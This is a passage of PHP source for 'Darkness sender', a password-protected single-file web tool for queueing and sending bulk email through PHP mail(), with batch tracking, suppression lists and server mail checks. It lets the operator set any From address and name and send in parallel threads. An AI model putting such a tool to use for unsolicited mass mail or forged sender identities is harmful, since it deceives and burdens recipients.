base64_encode($bytes)]; } return $result; } function dsPrepare(array $message, array $job): \PHPMailer\PHPMailer\PHPMailer { $mail = new \PHPMailer\PHPMailer\PHPMailer(true); $mail->isMail(); $mail->UseSendmailOptions = false; // The host controls the envelope sender; no custom shell arguments. $mail->CharSet = 'UTF-8'; $mail->Encoding = 'quoted-printable'; $mail->XMailer = 'Darkness sender / PHPMailer'; $mail->setFrom(dsEmail($message['from_email']), dsHeader($message['from_name'], 'Sender name', false), false); $mail->addReplyTo(dsEmail($message['reply_to'] ?: $message['from_email'])); $mail->addAddress(dsEmail($job['recipient'])); if (!preg_match('/\A[a-f0-9]{32}\z/', $job['message_uid'])) throw new InvalidArgumentException('Invalid message ID.'); $domain = substr(strrchr($message['from_email'], '@'), 1); $mail->MessageID = '<' . $job['message_uid'] . '@' . $domain . '>'; $mail->Subject = dsPersonalize($message['subject'], $job['recipient']); $html = $message['format'] === 'html'; $mail->isHTML($html); $mail->Body = dsPersonalize($message['body'], $job['recipient'], $html); if ($html) { $mail->AltBody = trim($message['alt_body']) !== '' ? dsPersonalize($message['alt_body'], $job['recipient']) : trim($mail->html2text($mail->Body)); if ($mail->AltBody === '') $mail->AltBody = 'This message contains HTML content. Use an HTML-capable email client to view it.'; } foreach ($message['attachments'] as $attachment) { $bytes = base64_decode($attachment['data'], true); if ($bytes === false) throw new InvalidArgumentException('Invalid stored attachment.'); $mail->addStringAttachment($bytes, $attachment['name'], 'base64', $attachment['mime']); } return $mail; } function dsSend(array $message, array $job): array { if (!function_exists('mail')) return ['status' => 'failed', 'error' => 'PHP mail() is unavailable or disabled on this host.']; try { $mail = dsPrepare($message, $job); } catch (Throwable $error) { return ['status' => 'failed', 'error' => 'Message preparation failed: ' . $error->getMessage()]; } $warning = ''; set_error_handler(static function ($severity, $text) use (&$warning) { if ($severity !== E_WARNING && $severity !== E_NOTICE) return false; $warning = preg_replace('/[\r\n\x00-\x1f]+/', ' ', $text) ?: 'PHP mail warning.'; return true; }); try { return $mail->send() ? ['status' => 'accepted', 'error' => ''] : ['status' => 'failed', 'error' => 'Local mail transport rejected the message. ' . $warning]; } catch (\PHPMailer\PHPMailer\Exception $error) { return ['status' => 'failed', 'error' => substr($error->getMessage() . ' ' . $warning . ' Check cPanel Track Delivery and server mail logs.', 0, 1000)]; } catch (Throwable $error) { return ['status' => 'uncertain', 'error' => 'Handoff interrupted. Check server mail logs before composing a replacement.']; } finally { restore_error_handler(); } } function dsInitState(array &$s): void { $s['suppressed'] ??= []; $s['submissions'] ??= []; $s['next_id'] ??= 1; $s['csrf'] ??= bin2hex(random_bytes(32)); $s['submission_key'] ??= bin2hex(random_bytes(16)); $s['batches'] ??= []; $s['last_started_at'] ??= 0.0; $s['revision'] ??= 0; // Keep existing sessions usable after upgrading the old recipient queue. if (($s['batch_schema'] ?? 0) !== 2) { if (!empty($s['history'])) { $legacyKey = bin2hex(random_bytes(16)); $legacyJobs = []; foreach ($s['history'] as $job) $legacyJobs[$job['id']] = $job; $s['batches'][$legacyKey] = ['key' => $legacyKey, 'subject' => 'Earlier session messages', 'created_at' => (int) ($s['history'][0]['created_at'] ?? time()), 'running' => false, 'jobs' => $legacyJobs]; } if (isset($s['batch'])) { $s['batch']['created_at'] ??= time(); $s['batch']['running'] = false; } unset($s['history'], $s['attempts']); $s['batch_schema'] = 2; } } function dsCounts(array $jobs): array { $counts = array_fill_keys(['queued','sending','accepted','failed','uncertain','cancelled','suppressed'], 0); foreach ($jobs as $job) if (isset($counts[$job['status']])) $counts[$job['status']]++; return $counts; } function dsSettings(array $input): array { $delay = filter_var(dsField($input, 'delay_seconds'), FILTER_VALIDATE_FLOAT); if ($delay === false || !is_finite($delay) || $delay < 0 || $delay > 86400) throw new InvalidArgumentException('Delay must be a number from 0 to 86400 seconds.'); $threads = filter_var(dsField($input, 'threads'), FILTER_VALIDATE_INT, ['options' => ['min_range' => 1, 'max_range' => 32]]); if ($threads === false) throw new InvalidArgumentException('Threads must be a whole number from 1 to 32.'); return ['delay_seconds' => (float) $delay, 'threads' => $threads]; } function dsQueue(array &$s, array $message, array $recipients, string $key): array { if (!preg_match('/\A[a-f0-9]{32}\z/', $key)) throw new InvalidArgumentException('Reload the form and try again.'); if (in_array($key, $s['submissions'], true)) return ['queued' => 0, 'suppressed' => 0, 'duplicate' => true]; if (isset($s['batch'])) { $counts = dsCounts($s['batch']['jobs']); if ($counts['queued'] + $counts['sending'] > 0) throw new InvalidArgumentException('Finish or cancel the current batch before starting another.'); $archived = $s['batch']; $archived['subject'] = $archived['message']['subject'] ?? $archived['subject'] ?? 'Batch'; unset($archived['message']); // Finished batches do not need bodies or attachments. $s['batches'][$archived['key']] = $archived; } $s['batch'] = ['key' => $key, 'message' => $message, 'created_at' => time(), 'running' => true, 'jobs' => []]; $queued = 0; $suppressed = 0; foreach ($recipients as $recipient) { $job = ['id' => $s['next_id']++, 'recipient' => $recipient, 'subject' => $message['subject'], 'from_email' => $message['from_email'], 'message_uid' => bin2hex(random_bytes(16)), 'created_at' => time(), 'status' => 'queued', 'attempts' => 0, 'last_error' => '']; if (isset($s['suppressed'][strtolower($recipient)])) { $job['status'] = 'suppressed'; $job['last_error'] = 'Recipient is on this session suppression list.'; $suppressed++; } else { $queued++; } $s['batch']['jobs'][$job['id']] = $job; } if ($queued === 0) $s['batch']['running'] = false; $s['submissions'][] = $key; $s['submission_key'] = bin2hex(random_bytes(16)); return ['queued' => $queued, 'suppressed' => $suppressed, 'duplicate' => false]; } function dsFinish(array &$s, int $id, string $status, string $error = ''): void { if (!isset($s['batch']['jobs'][$id]) || !in_array($s['batch']['jobs'][$id]['status'], ['queued','sending'], true)) return; if (!in_array($status, ['accepted','failed','uncertain','cancelled','suppressed'], true)) throw new InvalidArgumentException('Invalid delivery result.'); $s['batch']['jobs'][$id]['status'] = $status; $s['batch']['jobs'][$id]['last_error'] = $error; $s['batch']['jobs'][$id]['finished_at'] = time(); $counts = dsCounts($s['batch']['jobs']); if ($counts['queued'] + $counts['sending'] === 0) $s['batch']['running'] = false; } function dsClaim(array &$s, float $delay, int $threads): ?array { if (empty($s['batch']['running'])) return null; $now = microtime(true); $counts = dsCounts($s['batch']['jobs']); if ($counts['sending'] >= $threads || $now < (float) $s['last_started_at'] + $delay) return null; foreach ($s['batch']['jobs'] as $id => $job) { if ($job['status'] !== 'queued') continue; if (isset($s['suppressed'][strtolower($job['recipient'])])) { dsFinish($s, $id, 'suppressed', 'Suppressed before handoff.'); continue; } // The PHP session lock makes the concurrency check and claim atomic across tabs. $s['batch']['jobs'][$id]['status'] = 'sending'; $s['batch']['jobs'][$id]['started_at'] = time(); $s['batch']['jobs'][$id]['attempts']++; $s['last_started_at'] = $now; return ['job' => $s['batch']['jobs'][$id], 'message' => $s['batch']['message'], 'batch_key' => $s['batch']['key']]; } return null; } function dsRecover(array &$s): void { foreach ($s['batch']['jobs'] ?? [] as $id => $job) { if ($job['status'] === 'sending' && ($job['started_at'] ?? 0) < time()-300) dsFinish($s, $id, 'uncertain', 'No handoff result was recorded within five minutes. Review server mail logs before resending.'); } } function dsBatchSummary(array $batch): array { $counts = dsCounts($batch['jobs']); $total = count($batch['jobs']); $done = $total - $counts['queued'] - $counts['sending']; $status = $counts['sending'] > 0 ? 'sending' : ($counts['queued'] > 0 ? (!empty($batch['running']) ? 'running' : 'paused') : ($counts['failed'] + $counts['uncertain'] > 0 ? 'attention' : ($counts['cancelled'] > 0 ? 'cancelled' : 'complete'))); return ['key' => $batch['key'], 'subject' => $batch['message']['subject'] ?? $batch['subject'] ?? 'Batch', 'created_at' => $batch['created_at'], 'running' => !empty($batch['running']), 'status' => $status, 'total' => $total, 'done' => $done, 'counts' => $counts]; } function dsSnapshot(array &$s): array { $batches = []; $counts = dsCounts([]); if (isset($s['batch'])) $batches[] = dsBatchSummary($s['batch']); foreach (array_reverse($s['batches'], true) as $batch) $batches[] = dsBatchSummary($batch); foreach ($batches as $batch) foreach ($batch['counts'] as $status => $count) $counts[$status] += $count; $active = isset($s['batch']) ? $batches[0] : null; $wait = max(0.0, (float) $s['last_started_at'] + $s['limits']['delay_seconds'] - microtime(true)); if ($active && $active['counts']['sending'] >= $s['limits']['threads']) $wait = max($wait, 0.25); return ['revision' => ++$s['revision'], 'settings' => $s['limits'], 'batches' => $batches, 'active' => $active, 'counts' => $counts, 'wait_ms' => (int) ceil($wait * 1000)]; } function dsBatchDetails(array $s, string $key, int $page): array { $batch = ($s['batch']['key'] ?? '') === $key ? $s['batch'] : ($s['batches'][$key] ?? null); if ($batch === null) throw new InvalidArgumentException('This batch is no longer in the session.'); $total = count($batch['jobs']); $pages = max(1, (int) ceil($total / 50)); $page = max(0, min($pages - 1, $page)); $rows = []; foreach (array_slice(array_values($batch['jobs']), $page * 50, 50) as $job) { $domain = substr(strrchr($job['from_email'] ?? '', '@') ?: '@', 1); $rows[] = ['recipient' => $job['recipient'], 'status' => $job['status'], 'attempts' => $job['attempts'], 'error' => $job['last_error'], 'message_id' => '<' . ($job['message_uid'] ?? '') . '@' . $domain . '>']; } return ['key' => $key, 'page' => $page, 'pages' => $pages, 'total' => $total, 'jobs' => $rows]; } function dsJsonResponse(array $payload, int $code = 200): void { if (session_status() === PHP_SESSION_ACTIVE && !session_write_close()) { $code = 500; $payload = ['ok' => false, 'error' => 'Could not save session progress. Reload before resuming.']; } http_response_code($code); header('Content-Type: application/json; charset=UTF-8'); echo json_encode($payload, JSON_INVALID_UTF8_SUBSTITUTE | JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); exit; } function dsMailServer(?array $runtime = null): array { // Passive inspection only: do not execute the configured command, connect, or send mail. if ($runtime === null) { $setting = static fn(string $name) => function_exists('ini_get') ? ini_get($name) : false; $disabled = array_map('trim', explode(',', strtolower((string) $setting('disable_functions')))); $runtime = ['mail_available' => function_exists('mail') && !in_array('mail', $disabled, true), 'os' => PHP_OS_FAMILY, 'sendmail_path' => $setting('sendmail_path'), 'smtp_host' => $setting('SMTP'), 'smtp_port' => $setting('smtp_port')]; } $result = ['status' => 'warn', 'label' => 'Mail server not detected', 'detail' => 'PHP does not expose enough configuration to identify a mail server. Check the mail settings with your hosting provider.', 'facts' => []]; $command = is_string($runtime['sendmail_path'] ?? null) ? trim($runtime['sendmail_path']) : ''; if ($command !== '') { // Show only the executable, never command arguments that could contain credentials. $executable = 'Not exposed'; if (strlen($command) <= 4096 && !preg_match('/[\x00-\x1f\x7f]/', $command) && preg_match('/\A(?:"([^"]+)"|\'([^\']+)\'|([^\s"\']+))(?=\s|\z)/', $command, $parts)) { $candidate = ($parts[1] ?? '') ?: (($parts[2] ?? '') ?: ($parts[3] ?? '')); if ($candidate !== '' && !preg_match('/[;$`|<>&=]/', $candidate)) $executable = $candidate; } $result = ['status' => 'warn', 'label' => 'Local mail transport configured', 'detail' => 'A sendmail command is configured. PHP does not expose the outgoing server or confirm whether the transport is running.', 'facts' => [['label' => 'Route', 'value' => 'Configured sendmail command'], ['label' => 'Executable', 'value' => $executable], ['label' => 'Outgoing server', 'value' => 'Not detected']]]; } elseif (($runtime['os'] ?? '') === 'Windows') { // SMTP/smtp_port affect native Windows mail only when sendmail_path is empty. $host = is_string($runtime['smtp_host'] ?? null) ? trim($runtime['smtp_host']) : ''; $rawPort = $runtime['smtp_port'] ?? false; $port = is_string($rawPort) || is_int($rawPort) ? filter_var($rawPort, FILTER_VALIDATE_INT, ['options' => ['min_range' => 1, 'max_range' => 65535]]) : false; $validHost = $host !== '' && strlen($host) <= 253 && (filter_var($host, FILTER_VALIDATE_IP) || filter_var($host, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)); if ($validHost && $port !== false) { $result = ['status' => 'ok', 'label' => 'SMTP server configured', 'detail' => 'Detected the server configured for PHP mail(). Its connection and delivery availability have not been tested.', 'facts' => [['label' => 'Route', 'value' => 'Native Windows mail'], ['label' => 'Configured server', 'value' => $host], ['label' => 'Port', 'value' => (string) $port]]]; } else { $result['detail'] = 'PHP does not expose a valid SMTP host and port, or a sendmail command. Check the server PHP mail configuration.'; } } if (empty($runtime['mail_available'])) { $result['status'] = 'error'; $result['label'] = 'Mail sending unavailable'; $result['detail'] = 'PHP mail() is disabled or unavailable on this host. Any detected settings below cannot be used by this sender until mail() is enabled.'; } return $result; } function dsChecks(): array { return [ ['label' => 'PHP mail()', 'status' => function_exists('mail') ? 'ok' : 'error', 'detail' => function_exists('mail') ? 'Available in this PHP runtime. No message was sent by this check.' : 'Disabled or unavailable. Ask your host to review the PHP configuration.'], ['label' => 'Letter formatting', 'status' => 'ok', 'detail' => 'UTF-8, quoted-printable text, multipart HTML/plain text, and base64 attachments are built into this file.'], ['label' => 'Delivery result', 'status' => 'warn', 'detail' => 'Accepted means handed to the local mail transport. Use cPanel Track Delivery and the recipient inbox to confirm delivery.'], ['label' => 'Session storage', 'status' => 'warn', 'detail' => 'Batches, recipient results, suppression entries, and sending settings belong to this login session. There is no application idle timeout. Signing out clears them; browser or hosting cleanup can also end the session.'], ]; } // An offline test harness may define this constant before including the file. // It is not settable from a web request. No session or mail work runs in test mode. if (defined('DARKNESS_TEST_MODE') && DARKNESS_TEST_MODE === true) return; error_reporting(E_ALL); ini_set('display_errors', '0'); ini_set('log_errors', '1'); $nonce = base64_encode(random_bytes(24)); header('Content-Type: text/html; charset=UTF-8'); header('Cache-Control: no-store'); header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: DENY'); header('Referrer-Policy: no-referrer'); header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce'; style-src 'unsafe-inline'; img-src data:; frame-src 'self'; connect-src 'self'; form-action 'self'; base-uri 'none'; object-src 'none'; frame-ancestors 'none'"); $https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (int) ($_SERVER['SERVER_PORT'] ?? 0) === 443; if ($requireHttps && !$https) { http_response_code(400); exit('Darkness sender requires HTTPS. Open the secure address for this file.'); } if (!is_string($password) || $password === '') { http_response_code(503); exit('Set a non-empty password near the top of this file.'); } ini_set('session.use_strict_mode', '1'); ini_set('session.use_only_cookies', '1'); // Disable this script's automatic session cleanup and remove the 30-minute lifetime. // The browser and hosting provider can still clear session data independently. ini_set('session.gc_probability', '0'); ini_set('session.gc_maxlifetime', (string) PHP_INT_MAX); session_name('darkness_sender_' . substr(md5(__FILE__), 0, 10)); session_set_cookie_params(['lifetime' => 0, 'path' => '/', 'secure' => $https, 'httponly' => true, 'samesite' => 'Strict']); if (!session_start()) { http_response_code(503); exit('Could not start a PHP session. Check the server session configuration.'); } $sessioncode = md5(__FILE__); if (isset($_SESSION[$sessioncode]) && !hash_equals($password, (string) $_SESSION[$sessioncode])) { $_SESSION = []; session_regenerate_id(true); } $authenticated = isset($_SESSION[$sessioncode]) && hash_equals($password, (string) $_SESSION[$sessioncode]); dsInitState($_SESSION); dsRecover($_SESSION); if (!isset($_SESSION['limits']['delay_seconds'], $_SESSION['limits']['threads'])) { $previousLimits = $_SESSION['limits'] ?? []; $initialDelay = isset($previousLimits['per_minute'], $previousLimits['per_hour']) ? max(60 / max(1, (int) $previousLimits['per_minute']), 3600 / max(1, (int) $previousLimits['per_hour'])) : $sendDelaySeconds; $_SESSION['limits'] = dsSettings(['delay_seconds' => (string) $initialDelay, 'threads' => (string) $sendThreads]); } $self = basename((string) ($_SERVER['SCRIPT_NAME'] ?? 'darkness-sender.php')); if (!preg_match('/\A[A-Za-z0-9_.-]+\.php\z/i', $self)) $self = 'darkness-sender.php'; // Short authenticated requests keep a large batch independent of one PHP request timeout. if (($_SERVER['REQUEST_METHOD'] ?? 'GET') === 'POST' && ($_POST['ajax'] ?? null) === '1') { try { if (!$authenticated) dsJsonResponse(['ok' => false, 'error' => 'Your session ended. Sign in again.'], 401); if (!hash_equals($_SESSION['csrf'], dsField($_POST, 'csrf'))) dsJsonResponse(['ok' => false, 'error' => 'The page token changed. Reload before resuming.'], 403); $action = dsField($_POST, 'action'); if ($action === 'details') { $page = filter_var(dsField($_POST, 'page', '0'), FILTER_VALIDATE_INT, ['options' => ['min_range' => 0]]); if ($page === false) throw new InvalidArgumentException('Invalid results page.'); dsJsonResponse(['ok' => true, 'details' => dsBatchDetails($_SESSION, dsField($_POST, 'batch_key'), $page)]); } if ($action === 'save_limits') { $_SESSION['limits'] = dsSettings($_POST); } elseif (in_array($action, ['pause_batch','resume_batch','cancel_batch'], true)) { if (!isset($_SESSION['batch']) || !hash_equals($_SESSION['batch']['key'], dsField($_POST, 'batch_key'))) throw new InvalidArgumentException('The current batch changed. Refresh and try again.'); if ($action === 'cancel_batch') { $_SESSION['batch']['running'] = false; foreach ($_SESSION['batch']['jobs'] as $id => $job) if ($job['status'] === 'queued') dsFinish($_SESSION, $id, 'cancelled'); } else { $counts = dsCounts($_SESSION['batch']['jobs']); $_SESSION['batch']['running'] = $action === 'resume_batch' && $counts['queued'] > 0; } } elseif ($action === 'work') { // A request from an older page must not claim from a different batch. if (isset($_SESSION['batch']) && hash_equals($_SESSION['batch']['key'], dsField($_POST, 'batch_key'))) { if (!function_exists('mail')) { $_SESSION['batch']['running'] = false; throw new InvalidArgumentException('PHP mail() is disabled or unavailable. The batch is paused.'); } $claim = dsClaim($_SESSION, $_SESSION['limits']['delay_seconds'], $_SESSION['limits']['threads']); if ($claim !== null) { // Finish recording an in-flight result even if this page refreshes or closes. ignore_user_abort(true); if (!session_write_close()) throw new RuntimeException('Could not persist pending handoff.'); $outcome = dsSend($claim['message'], $claim['job']); // The lock is released during mail(), allowing other workers and controls to run. if (!session_start()) throw new RuntimeException('Could not save delivery result.'); if (!isset($_SESSION[$sessioncode]) || !hash_equals($password, (string) $_SESSION[$sessioncode])) dsJsonResponse(['ok' => false, 'error' => 'The session ended during sending.'], 401); if (($_SESSION['batch']['key'] ?? null) === $claim['batch_key']) dsFinish($_SESSION, (int) $claim['job']['id'], $outcome['status'], $outcome['error']); } } } elseif ($action !== 'status') { throw new InvalidArgumentException('Unknown batch action.'); } dsJsonResponse(['ok' => true, 'state' => dsSnapshot($_SESSION)]); } catch (InvalidArgumentException $error) { dsJsonResponse(['ok' => false, 'error' => $error->getMessage()], 422); } catch (Throwable $error) { error_log('Darkness sender worker error: ' . get_class($error) . ' at line ' . $error->getLine()); dsJsonResponse(['ok' => false, 'error' => 'Sending was interrupted. Reload and review batch results before resuming.'], 500); } } $config = ['transport' => 'mail', 'from_email' => $_SESSION['sender']['from_email'] ?? $defaultFromEmail, 'from_name' => $_SESSION['sender']['from_name'] ?? $defaultFromName, 'reply_to' => $_SESSION['sender']['reply_to'] ?? '', 'max_recipients' => $maxRecipients, 'delay_seconds' => $_SESSION['limits']['delay_seconds'], 'threads' => $_SESSION['limits']['threads'], 'max_attachment_bytes' => $maxAttachmentBytes]; $view = ['self' => $self, 'nonce' => $nonce, 'authenticated' => $authenticated, 'csrf' => $_SESSION['csrf'], 'submissionKey' => $_SESSION['submission_key'], 'flash' => $_SESSION['flash'] ?? null, 'setupErrors' => [], 'config' => $config, 'counts' => [], 'jobs' => [], 'suppressionCount' => 0, 'diagnostics' => [], 'old' => []]; unset($_SESSION['flash']); if (($_SERVER['REQUEST_METHOD'] ?? 'GET') === 'POST') { try { if (!hash_equals($_SESSION['csrf'], dsField($_POST, 'csrf'))) throw new InvalidArgumentException('Invalid or expired form token. Reload the page and try again.'); $action = dsField($_POST, 'action'); if ($action === 'login') { if (($_SESSION['login_after'] ?? 0) > time()) throw new InvalidArgumentException('Wait a moment before trying another password.'); if (!hash_equals($password, dsField($_POST, 'pass'))) { $_SESSION['login_after'] = time()+2; throw new InvalidArgumentException('Password was not accepted.'); } session_regenerate_id(true); $_SESSION[$sessioncode] = $password; $_SESSION['csrf'] = bin2hex(random_bytes(32)); } else { if (!$authenticated) throw new InvalidArgumentException('Enter the password to continue.'); switch ($action) { case 'save_limits': $_SESSION['limits'] = dsSettings($_POST); $_SESSION['flash'] = ['type' => 'success', 'message' => 'Sending delay and threads saved.']; break; case 'logout': $_SESSION = []; session_destroy(); setcookie(session_name(), '', ['expires' => time()-3600, 'path' => '/', 'secure' => $https, 'httponly' => true, 'samesite' => 'Strict']); break; case 'enqueue': $message = dsMessage($_POST, $maxMessageBytes); $mode = dsField($_POST, 'mode', 'queue'); if (!in_array($mode, ['queue','test'], true)) throw new InvalidArgumentException('Invalid batch mode.'); $recipients = $mode === 'test' ? [dsEmail(dsField($_POST, 'test_recipient'))] : dsRecipients(dsField($_POST, 'recipients'), $maxRecipients); $message['attachments'] = dsAttachments($_FILES['attachments'] ?? [], $maxAttachmentBytes); $result = dsQueue($_SESSION, $message, $recipients, dsField($_POST, 'submission_key')); $_SESSION['sender'] = array_intersect_key($message, array_flip(['from_email','from_name','reply_to'])); $_SESSION['flash'] = ['type' => 'success', 'message' => $result['duplicate'] ? 'This batch was already saved; no duplicate messages were added.' : 'Batch saved: ' . $result['queued'] . ' queued, ' . $result['suppressed'] . ' suppressed. Sending starts automatically while this page is open.']; break; case 'suppress': $email = strtolower(dsEmail(dsField($_POST, 'email'))); if (count($_SESSION['suppressed']) >= 1000 && !isset($_SESSION['suppressed'][$email])) throw new InvalidArgumentException('Session suppression limit reached.'); $_SESSION['suppressed'][$email] = dsHeader(dsField($_POST, 'reason'), 'Reason', false); foreach ($_SESSION['batch']['jobs'] ?? [] as $id => $job) if ($job['status'] === 'queued' && strtolower($job['recipient']) === $email) dsFinish($_SESSION, $id, 'suppressed', 'Suppressed for this session.'); $_SESSION['flash'] = ['type' => 'success', 'message' => 'Address suppressed for this session. A handoff already in progress cannot be recalled.']; break; case 'diagnose': $_SESSION['flash'] = ['type' => 'success', 'message' => 'Configuration checks complete. No email was sent.']; break; default: throw new InvalidArgumentException('Unknown action.'); } } if (session_status() === PHP_SESSION_ACTIVE) session_write_close(); header('Location: ' . $self, true, 303); exit; } catch (InvalidArgumentException $error) { http_response_code(422); $view['flash'] = ['type' => 'error', 'message' => $error->getMessage()]; foreach (['from_email','from_name','reply_to','subject','body','format','alt_body','recipients','test_recipient'] as $key) if (isset($_POST[$key]) && is_string($_POST[$key])) $view['old'][$key] = $key === 'recipients' ? $_POST[$key] : substr($_POST[$key], 0, $maxMessageBytes); } catch (Throwable $error) { error_log('Darkness sender error: ' . get_class($error) . ' at line ' . $error->getLine()); http_response_code(500); $view['flash'] = ['type' => 'error', 'message' => 'The operation could not complete. Review PHP error logs and any uncertain handoffs before resending.']; } } $view['csrf'] = $_SESSION['csrf'] ?? ''; $view['submissionKey'] = $_SESSION['submission_key'] ?? ''; if ($authenticated) { $view['senderState'] = dsSnapshot($_SESSION); $view['counts'] = $view['senderState']['counts']; $view['suppressionCount'] = count($_SESSION['suppressed']); $view['diagnostics'] = dsChecks(); $view['mailServer'] = dsMailServer(); } if (session_status() === PHP_SESSION_ACTIVE) session_write_close(); ?> <?php $config = $view['config'] ?? []; $counts = $view['counts'] ?? []; $old = $view['old'] ?? []; $authenticated = (bool) ($view['authenticated'] ?? false); $flash = $view['flash'] ?? null; $setupErrors = $view['setupErrors'] ?? []; $diagnostics = $view['diagnostics'] ?? []; $mailServer = $view['mailServer'] ?? []; $jobs = $view['jobs'] ?? []; $format = ($old['format'] ?? 'html') === 'plain' ? 'plain' : 'html'; $statusLabels = ['queued' => 'Queued', 'sending' => 'Sending', 'accepted' => 'Transport accepted', 'failed' => 'Failed', 'uncertain' => 'Needs review', 'suppressed' => 'Suppressed', 'cancelled' => 'Cancelled']; $attachmentMegabytes = rtrim(rtrim(number_format((int) ($config['max_attachment_bytes'] ?? 5242880) / 1048576, 2, '.', ''), '0'), '.'); ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="color-scheme" content="dark"> <meta name="referrer" content="no-referrer"> <title>Darkness sender · Mail workspace</title> <style nonce="<?= e($view['nonce']) ?>"> @charset "UTF-8"; :root{color-scheme:dark;--bg:#0d0e12;--panel:#15161d;--panel-soft:#191a23;--input:#101117;--border:#2c2d38;--text:#f2f0f9;--muted:#a3a3b3;--accent:#b7a1ff;--accent-strong:#9271f0;--green:#8fd1b1;--amber:#e6c48d;--red:#f1a0ac;--radius:16px;font-family:Inter,"Segoe UI",Arial,sans-serif;font-synthesis:none} *{box-sizing:border-box}html{scroll-behavior:smooth;scroll-padding-top:28px}body{margin:0;background:radial-gradient(ellipse at 84% 0,rgba(118,84,203,.07),transparent 36%),var(--bg);color:var(--text);font-size:14px;line-height:1.55}button,input,textarea,select{font:inherit}a{color:inherit;text-decoration:none}button,a,input,textarea,select,summary{-webkit-tap-highlight-color:transparent}button{cursor:pointer}button:disabled{cursor:not-allowed;opacity:.55}:focus-visible{outline:2px solid var(--accent);outline-offset:4px}h1,h2,h3,p{margin:0}h1,h2,h3{font-weight:600}h1{font-size:36px;line-height:1.2;letter-spacing:-1.4px}h2{font-size:21px;letter-spacing:-.5px;line-height:1.3}h3{font-size:14px}.app-shell{max-width:1380px;padding:0 44px;margin:0 auto}.topbar{height:104px;display:flex;align-items:center;justify-content:space-between;gap:24px;border-bottom:1px solid var(--border)}.brand{display:inline-flex;gap:11px;align-items:center;font-size:19px;font-weight:650;letter-spacing:-.6px;line-height:1.3}.brand-mark{display:grid;place-items:center;width:43px;height:43px;border-radius:12px;background:#b6a0f3;color:#1e1734}.brand-mark svg{width:29px;height:29px}.brand-light{font-weight:400;color:#d0c9dd}.brand small{display:block;font-size:9px;font-weight:500;letter-spacing:2.5px;color:var(--muted);margin-top:5px}.top-nav{display:flex;gap:33px;margin-left:auto;margin-right:28px;color:var(--muted);font-size:13px}.top-nav a:hover,.text-link:hover{color:var(--accent)}.button{border:1px solid transparent;border-radius:8px;display:inline-flex;justify-content:center;align-items:center;gap:18px;min-height:42px;padding:10px 16px;line-height:1.35;font-size:13px;font-weight:600;white-space:nowrap;transition:background .15s,border-color .15s,transform .15s}.button:active{transform:translateY(1px)}.button-primary{background:var(--accent);color:#211633;box-shadow:0 4px 22px rgba(118,84,203,.08)}.button-primary:hover{background:#c8b7ff}.button-secondary{border-color:#383946;background:#20212a;color:#e8e5ef}.button-secondary:hover{background:#2a2a37;border-color:#575064}.button-quiet{border-color:var(--border);background:transparent;color:var(--muted)}.button-quiet:hover{color:var(--text);border-color:#666070}.button-full{width:100%}.button-small{min-height:32px;font-size:12px;padding:6px 10px}.topbar-note{display:flex;align-items:center;gap:9px;color:var(--muted);font-size:12px}.status-dot{display:inline-block;width:6px;height:6px;border-radius:100%;background:#bba4fa;box-shadow:0 0 0 4px rgba(187,164,250,.08)}main{outline:0}.page-heading{display:flex;justify-content:space-between;align-items:center;gap:24px;padding:42px 0 29px}.eyebrow{font-size:10px;letter-spacing:1.8px;font-weight:650;color:var(--muted);margin-bottom:11px;display:flex;align-items:center;gap:10px}.eyebrow>span{width:5px;height:5px;border-radius:50%;background:var(--accent)}.page-heading .muted{margin-top:11px;font-size:14px}.muted{color:var(--muted)}.workspace-label{display:flex;align-items:center;gap:10px;border:1px solid var(--border);background:#14141b;border-radius:30px;padding:9px 13px;font-size:11px;color:#c5bed6;white-space:nowrap}.metrics{display:grid;grid-template-columns:repeat(4,minmax(0,1fr));border:1px solid var(--border);border-radius:var(--radius);background:linear-gradient(110deg,#191821,#13151c);margin-bottom:26px;overflow:hidden}.metric{padding:22px 25px;position:relative}.metric+.metric:before{content:"";position:absolute;left:0;top:22px;bottom:22px;border-left:1px solid var(--border)}.metric>span{display:block;color:#c1bdcd;font-size:12px}.metric strong{display:block;font-size:34px;font-weight:500;line-height:1.35;letter-spacing:-1px;margin:8px 0 2px;font-variant-numeric:tabular-nums}.metric small{font-size:11px;color:var(--muted)}.metric-attention strong{color:#dac1a3}.workspace-grid{display:grid;grid-template-columns:minmax(0,1fr) 340px;gap:24px;align-items:start}.panel{border:1px solid var(--border);background:var(--panel);border-radius:var(--radius);padding:27px}.panel-heading{display:flex;justify-content:space-between;gap:16px;align-items:center;margin-bottom:24px}.panel-heading .eyebrow{margin-bottom:7px}.small-tag{font-size:10px;border:1px solid #3e374d;border-radius:6px;padding:4px 9px;color:#c4b4e7;background:#241f30;font-variant-numeric:tabular-nums}.sender-card{display:flex;align-items:center;gap:13px;padding:16px 17px;margin-bottom:24px;border:1px solid var(--border);border-radius:10px;background:#191922;min-width:0}.sender-avatar{width:35px;height:35px;display:grid;place-items:center;background:#2b243b;border:1px solid #493b60;border-radius:50%;color:#cfb9ff;font-size:13px;flex:none}.sender-card>div{display:flex;flex-direction:column;min-width:0}.field-caption{color:var(--muted);letter-spacing:1.2px;font-size:9px;margin-bottom:2px}.sender-card strong{font-size:12px;font-weight:500;overflow-wrap:anywhere}.sender-email{font-size:11px;color:var(--muted);overflow-wrap:anywhere}.fixed-label{margin-left:auto;white-space:nowrap;color:var(--muted);font-size:10px}.field{margin-bottom:21px}label{display:block;font-size:12px;font-weight:550;margin-bottom:8px;color:#e0dce9}.label-row{display:flex;align-items:center;justify-content:space-between;gap:16px;margin-bottom:8px}.label-row label{margin:0}.label-row>.muted{font-size:10px}input,textarea,select{border:1px solid var(--border);border-radius:7px;color:var(--text);background:var(--input);width:100%;padding:11px 12px;outline:0;transition:border-color .15s,box-shadow .15s}input:focus,textarea:focus,select:focus{border-color:#8f75bf;box-shadow:0 0 0 3px rgba(173,140,234,.08)}input::placeholder,textarea::placeholder{color:#767687;opacity:1}textarea{display:block;resize:vertical;min-height:86px;line-height:1.65;font-size:12px}input{font-size:12px;min-height:43px}input[type=file]{font-size:11px;padding:9px;line-height:1.5}input[type=file]::file-selector-button{font:inherit;color:#ded5ee;border:1px solid #464050;background:#28232f;border-radius:4px;padding:5px 